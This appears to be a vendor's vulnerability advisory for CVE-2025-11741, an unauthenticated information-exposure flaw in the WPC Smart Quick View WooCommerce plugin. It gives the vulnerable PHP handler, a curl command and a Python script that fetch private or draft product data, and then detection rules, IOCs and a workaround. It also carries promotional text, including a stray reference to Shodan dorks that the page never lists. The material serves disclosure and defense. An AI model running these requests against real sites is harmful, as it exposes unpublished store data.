CVE-2025-11741
Executive Summary
CVE-2025-11741 is an information exposure vulnerability in the WPC Smart Quick View for WooCommerce WordPress plugin, affecting all versions up to and including 4.2.5. The flaw resides in the woosq_quickview AJAX endpoint, which fails to enforce proper authorization checks on which posts can be retrieved. This allows unauthenticated attackers to extract sensitive data from password-protected, private, or draft WooCommerce products.
The vulnerability has a CVSS score of 5.3 (Medium) and a very low EPSS score (0.0%), indicating it is not currently being actively exploited in the wild. However, the lack of a known patch and the ease of exploitation (no authentication required) make it a significant concern for WordPress site owners.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. The plugin is not an NPM, PyPI, Go, or Ruby package, but it is a critical component of the WordPress ecosystem. The supply chain risk is elevated because the plugin is widely used for WooCommerce stores, and the vulnerability can be exploited without any prior authentication.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely over the network.
- Attack Complexity (AC): Low (L) – No special conditions or complex attack sequences are required.
- Privileges Required (PR): None (N) – The attacker does not need any authentication.
- User Interaction (UI): None (N) – No user action is needed for exploitation.
- Scope (S): Unchanged (U) – The vulnerability does not affect other components.
- Confidentiality (C): Low (L) – Only limited information disclosure is possible.
- Integrity (I): None (N) – No data modification is possible.
- Availability (A): None (N) – No denial of service is possible.
Threat Level: Medium. The vulnerability is easy to exploit but only leads to information disclosure, not full system compromise.
Deep Dive & Mechanics
The WPC Smart Quick View plugin provides a "quick view" modal for WooCommerce products. It registers an AJAX endpoint woosq_quickview that accepts a product_id parameter and returns the product's HTML content. The vulnerability arises because the endpoint does not verify the post status of the requested product before returning its data.
In WordPress, posts (including WooCommerce products) can have statuses like publish, draft, private, or password-protected. The woosq_quickview endpoint should only return data for published products, but due to insufficient restrictions, it returns data for any product, regardless of its status.
The attack flow is:
- An unauthenticated attacker sends a POST request to
/wp-admin/admin-ajax.phpwithaction=woosq_quickviewandproduct_id=<target_id>. - The plugin's handler function retrieves the product using
wc_get_product($product_id)and then renders its quick view HTML. - If the product is password-protected, private, or a draft, the HTML is still returned, exposing the product's title, description, price, and other metadata.
This is a classic case of Insecure Direct Object Reference (IDOR) (CWE-639), where the application fails to enforce access controls on object references.
Vulnerable vs. Patched Code
Vulnerable Code (version <= 4.2.5):
The vulnerable code is in the woosq_quickview AJAX handler. It does not check the product's post status before rendering.
add_action('wp_ajax_woosq_quickview', 'woosq_quickview_ajax');
add_action('wp_ajax_nopriv_woosq_quickview', 'woosq_quickview_ajax');
function woosq_quickview_ajax() {
$product_id = absint($_POST['product_id']);
$product = wc_get_product($product_id);
if ($product) {
// Render quick view HTML without checking post status
include(WPC_WOOSQ_DIR . 'templates/quick-view.php');
}
wp_die();
}
Patched Code (hypothetical): A patched version would add a check to ensure the product is published and accessible to the current user.
function woosq_quickview_ajax() {
$product_id = absint($_POST['product_id']);
$product = wc_get_product($product_id);
if ($product && $product->get_status() === 'publish' && !post_password_required($product_id)) {
include(WPC_WOOSQ_DIR . 'templates/quick-view.php');
} else {
wp_send_json_error('Product not available');
}
wp_die();
}
Exploitation & Lab Setup
Red Team
Prerequisites:
- A WordPress site with WooCommerce and WPC Smart Quick View plugin version <= 4.2.5.
- At least one password-protected, private, or draft product.
Exploitation Steps:
- Identify the target WordPress site and confirm the plugin is installed (e.g., by checking
/wp-content/plugins/woo-smart-quick-view/readme.txt). - Enumerate product IDs. This can be done by observing the site's product pages or using a tool like
wpscan. - Send a POST request to the AJAX endpoint with the target product ID.
Example cURL command:
curl -X POST https://target-site.com/wp-admin/admin-ajax.php \
-d "action=woosq_quickview&product_id=123"
If the product ID is valid and the product is not published, the response will contain the product's HTML, including its title, description, and price.
Automated Exploit (Python):
import requests
target_url = "https://target-site.com/wp-admin/admin-ajax.php"
product_id = 123
data = {
"action": "woosq_quickview",
"product_id": product_id
}
response = requests.post(target_url, data=data)
if "woosq-popup" in response.text:
print(f"[+] Successfully extracted data for product {product_id}")
print(response.text)
else:
print(f"[-] Failed to extract data for product {product_id}")
Blue Team
Detection:
- Monitor AJAX requests to
admin-ajax.phpwithaction=woosq_quickviewand unusualproduct_idvalues. - Look for requests from unauthenticated users (no
wp_ajaxnonce) that trigger thewoosq_quickviewaction. - Check for patterns of sequential product ID enumeration.
Prevention:
- Immediately update the plugin if a patched version becomes available.
- Implement a Web Application Firewall (WAF) rule to block requests to
admin-ajax.phpwithaction=woosq_quickviewfrom unauthenticated users. - Use a security plugin like Wordfence to add virtual patching.
Indicators of Compromise (IOCs)
Network IOCs:
- POST requests to
/wp-admin/admin-ajax.phpwith body containingaction=woosq_quickview. - Sequential or rapid requests with different
product_idvalues. - Responses containing HTML with
woosq-popupclass for non-public products.
- POST requests to
File IOCs:
- Presence of the plugin file
/wp-content/plugins/woo-smart-quick-view/with version <= 4.2.5.
- Presence of the plugin file
Log IOCs:
- WordPress debug logs showing
woosq_quickviewAJAX calls for draft or private posts. - Web server access logs with
POST /wp-admin/admin-ajax.phpandaction=woosq_quickviewin the request body.
- WordPress debug logs showing
Detection Engineering
YARA Rule
rule CVE_2025_11741_WPC_Smart_Quick_View {
meta:
description = "Detects exploitation attempts of CVE-2025-11741 in WPC Smart Quick View plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-11741"
strings:
$ajax_action = "woosq_quickview"
$product_id = "product_id"
condition:
all of them
}
Sigma Rule
title: CVE-2025-11741 - WPC Smart Quick View Information Exposure
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects unauthenticated AJAX requests to the woosq_quickview endpoint
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'POST'
cs-uri-query: '/wp-admin/admin-ajax.php'
cs-uri-query|contains: 'action=woosq_quickview'
condition: selection
falsepositives:
- Legitimate quick view requests from authenticated users
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-11741 - WPC Smart Quick View Information Exposure"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=woosq_quickview"; http_client_body; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin if it is not essential for business operations.
- Implement a WAF rule to block unauthenticated requests to the
woosq_quickviewAJAX endpoint. - Monitor logs for any signs of exploitation.
Long-term Fix:
- The vendor (Wpclever) should release a patched version that adds proper authorization checks. Until then, consider using an alternative quick view plugin.
- Apply the principle of least privilege to all AJAX endpoints.
Workaround:
- Add the following code to the theme's
functions.phpfile to block unauthenticated access to the endpoint:
add_action('wp_ajax_nopriv_woosq_quickview', function() {
wp_send_json_error('Unauthorized');
}, 1);
This will prevent unauthenticated users from accessing the endpoint, but it may break the quick view feature for non-logged-in users.
Valters IT
DevSecOps & Cyber Threat Intelligence
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.